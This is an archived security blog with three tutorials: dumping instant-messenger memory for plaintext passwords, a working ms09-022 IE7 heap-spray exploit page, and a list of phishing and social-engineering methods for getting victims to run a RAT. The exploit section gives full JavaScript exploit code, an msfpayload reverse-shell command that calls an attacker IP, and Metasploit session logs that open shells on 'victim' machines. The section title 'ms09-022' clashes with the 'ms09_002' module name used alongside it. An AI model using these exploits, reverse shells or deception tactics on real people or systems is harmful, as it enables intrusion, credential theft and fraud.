Category Archives: Tutorial

IM Memory Dumping

It was around 2003-2004 years when one day I started playing with the way popular Instant Messengers (IM) clients store user’s sensitive information in RAM. I was fan of the opensource Gaim IM, so that was my first nominate.

The procedure I had followed was as follows:
1. Installed Gaim on a Windows box
2. Logged in with a fake MSN account
3. Dump the memory contents of a running process to a file using the PMDump by Arne Vidstrom from ntsecurity group.
4. Opened up the file with a Hex editor and presto the password was there in plaintext, I think it was found in two different places.

Doing a little of search with Google, you can find more memory content extractors, see:
APsoft’s memdump – this tool gets you the whole system memory
Metasploit’s MemDump – added a few months, offers similar functionalities as the tool PMDump
Microsoft’s userdump – generates a user dump of a process by shutting it down, by throwing an exception or by making it stop responding, yes it is a bit aggressive.

Later found, that this is a very common bad-practice, followed by software developers who accidentally or unknowingly fail to scrub the password from a memory buffer after authentication, and sadly many software applications fall to this category; to name a few but not limited to these see PuTTY v0.53b, ActivCard, standalone Flash programs and other IMs.

I think it worths noting here that the problem is even bigger with applications that store user’s credentials permanently on the physical disk in unencrypted form, see for example the recent Intel BIOS Disclosure and regular security posts regarding web server traversals which may result in arbitrary file access.

Now 5 years or so later, I have decided to repeat the experiment and see if things have changed since then, will blog-post the findings soon.

Facebooktwitterredditpinterestlinkedinmailby feather

ms09-022 IE7 Memory Corruption

Ok folks, I assume all of you have heard about the Microsoft Internet Explorer Uninitialized Memory Remote Code Execution Vulnerability also known as ms09-022 which has been published on Feb 10 2009. This vulnerability allows remote attackers to execute arbitrary code on Windows systems that are running IE7, the range of the affected systems varies from WinXP SP2 up to Win2K8 (the Server Core installation option is not affected) releases.

As in many classic client-side attacks, end user’s interaction is vital so to take control of his system and all our victim needs to do is visit the malicious page. The specific flaw exists in the handling of document objects. In particular, when an object is appended and deleted in a specific order, memory corruption occurs; successful exploitation leads to remote compromise of the affected system under the credentials of the currently logged in user.

Some of you may have already played with it extensively in your labs or in real environments as metasploit, Core Impact, Immunity CANVAS and other frameworks have included this exploit since the early days of its disclosure, however, some others may have difficulties with this one. Ok, enough with the theory, the guys from TippingPoint and the Zero Day Initiative who discovered the vulnerability did the hard work for us, and now have left us to experiment with our creativity. The exploit looks like the code below, the only thing you need to add is the payload in URL encoding scheme which easily can be generated using msfpayload from metasploit framework:

/msfpayload desired_payload LHOST=attacker_ip LPORT=attacker_listening_port J

example: ./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 J

————-code snip————-
<html>
<script language=”JavaScript”>

var c=unescape(“”);//<——-Add your payload here

var array = new Array();
var ls = 0x100000-(c.length*2+0x01020);
var b = unescape(“%u0C0C%u0C0C”);

while(b.length<ls/2) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;
for(i=0; i<0xC0; i++) {
array[i] = lh + c;
}
CollectGarbage();

var s1=unescape(“%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA”);
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement(“img”));

o1=document.createElement(“tbody”);
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;

</script>
<script>window.setTimeout(“ok();”,800);</script>
</html>
————-code snip————-

Then save the page in html, prepare your netcat listener on port 4444 and trick your victim to open the html file. If you prefare, you can always use more advanced payloads such as meterpreter, in addition, if you target more than one users you should consider using the multi/handler module.

————-example snip————-
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler…
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.133:1053)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim1\Desktop>ipconfig
Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.133
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1

C:\Documents and Settings\victim1\Desktop>
————-example snip————-

Or you can use msfconsole exclusively; note that we chose to use the meterpreter payload, just for change:

————-example snip————-
msf > use windows/browser/ms09_002_memory_corruption
msf exploit(ms09_002_memory_corruption) > set SRVHOST 192.168.1.100
SRVHOST => 192.168.1.100
msf exploit(ms09_002_memory_corruption) > set SRVPORT 8888
SRVPORT => 8888
msf exploit(ms09_002_memory_corruption) > set URIPATH ms09-22.html
URIPATH => test.html
msf exploit(ms09_002_memory_corruption) > set TARGET 0
TARGET => 0
msf exploit(ms09_002_memory_corruption) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms09_002_memory_corruption) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(ms09_002_memory_corruption) > set LPORT 9898
LPORT => 9898
msf exploit(ms09_002_memory_corruption) > exploit
[*] Exploit running as background job.
msf exploit(ms09_002_memory_corruption) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://192.168.1.100:8888/ms09-22.html
[*] Server started.

//at this point the victim clicks on the URL: http://192.168.1.100:8888/ms09-22.html

msf exploit(ms09_002_memory_corruption) >
[*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 192.168.1.105:1060…
[*] Transmitting intermediate stager for over-sized stage…(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage…
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.100:9898 -> 192.168.1.105:1061)

msf exploit(ms09_002_memory_corruption) > sessions -l

Active sessions
===============

Id Description Tunnel 
— ———– —— 
1 Meterpreter 192.168.1.100:9898 -> 192.168.1.105:1061

msf exploit(ms09_002_memory_corruption) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > sysinfo
Computer: VICTIM-XPSP3
OS : Windows XP (Build 2600, Service Pack 3).
meterpreter >
————-example snip————-

Facebooktwitterredditpinterestlinkedinmailby feather

CSAM – Phishie Methods

Client-Side Attack Methods – Tricking users to execute our RAT

Depending on the type of attack we are performing, ie targeted (T) or non-targeted (NT), we can try the following phishie methods against our targets:

Send an email to the victim asking to visit a link.
Send an email to the victim having the malicious file attached into.
Leave near the company a couple of USB pendrives loaded with your juicy files, a VBA macro embedded in a MSOffice Word document, a trapped PDF file, a single HTML page that triggers an known vulnerability the list can easily go on.
If company’s employees are using social networks you can join the group, create a good fictitious scenario and ask them to visit your link.
If you have access to an open shared directory you can leave your file there, give it a nice attractive name, or masquerade its icons, or merge the file into another naive file.

For those cases where you have to distribute your malicious files via a link, you can:

  1. Host your files on your own machine
  2. Host the files into an already compromised box
  3. Use TinyURL to soft-hide destinations of the link from unsuspecting users
  4. Use an online file hosting provider such as RapidShare
  5. If in a LAN environment, you can create a UNC shortcut which points to your files in the web.
  6. If you know their mobile numbers you can always text them the link, or using some social engineering you can pretend that you are one of their colleagues who has just changed mobile number and you just asking the victim to check fileXYZ which is located in their open shared directory if it loads OK blah blah…you get the idea.
  7. Read the book “The Art of Deception” to get an idea how the users can be tricked and understand the saying “your weakest link is the human factor”.
Facebooktwitterredditpinterestlinkedinmailby feather